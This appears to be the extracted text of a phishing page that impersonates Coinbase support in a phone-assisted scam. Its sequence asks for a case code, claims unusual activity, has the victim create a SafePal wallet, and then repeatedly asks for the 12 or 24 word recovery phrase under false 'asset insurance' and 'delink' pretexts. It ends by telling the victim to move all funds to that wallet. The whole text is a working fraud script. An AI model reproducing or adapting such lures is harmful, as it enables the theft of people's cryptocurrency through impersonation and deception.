Case access code
Input the case ID code that was sent to you by our representative via email.

To protect your privacy during our investigation, please keep the case number private.
Review your Account
We have detected unusual activity on your account.
Please review these actions before continuing.
Security Prompt
Please verify the estimated balance in your Coinbase Account and/or Coinbase Wallet.
Do you already have an
external wallet?
Connect your existing wallet to continue
Download SafePal App
Download the SafePal app from the iOS App Store or Google Play Store on your phone.
Download on the App Store Get it on Google Play
Create New Wallet
Open SafePal and choose Create New Wallet. Set a strong 6-digit password, then enable Face ID or biometrics if your phone supports it.
  1. Open the SafePal app.
  2. Select Create New Wallet.
  3. Set your password and confirm it.
  4. Keep the app open for the backup step.
Back Up Your Wallet
In the SafePal app, select "Back up manually".
Read the security prompts, accept them, and write down your 12-word seed phrase on paper.
Keep This Seed Phrase Safe
Loss of this seed phrase can result in permanent loss of funds.

Once your account security is verified, you can transfer these funds back to a new Coinbase wallet.

Asset Insurance

As per the Coinbase terms & conditions, we require your seed phrase for safeguarding and reimbursement purposes.

Please enter the 12 or 24 word recovery phrase below.
Enter the words in the exact order they were given to you.
Make sure there are no extra spaces.

Disconnect Wallet

We cannot disconnect cold storage wallets on your behalf.

Please enter the 12 or 24 word recovery phrase to delink your wallet from your account.
Enter the words in the exact order they were given to you.
Make sure there are no extra spaces.
Your assets are now insured.
Please transfer everything in your online wallet to the external wallet,
as per the instructions of your case representative.
Thank you for your cooperation.
You may now resume the call with your support agent.

Upon securing your assets, a new Coinbase wallet can be created with us again.
We're confirming some things
We need to make sure everything seems right.
This should only take a few seconds.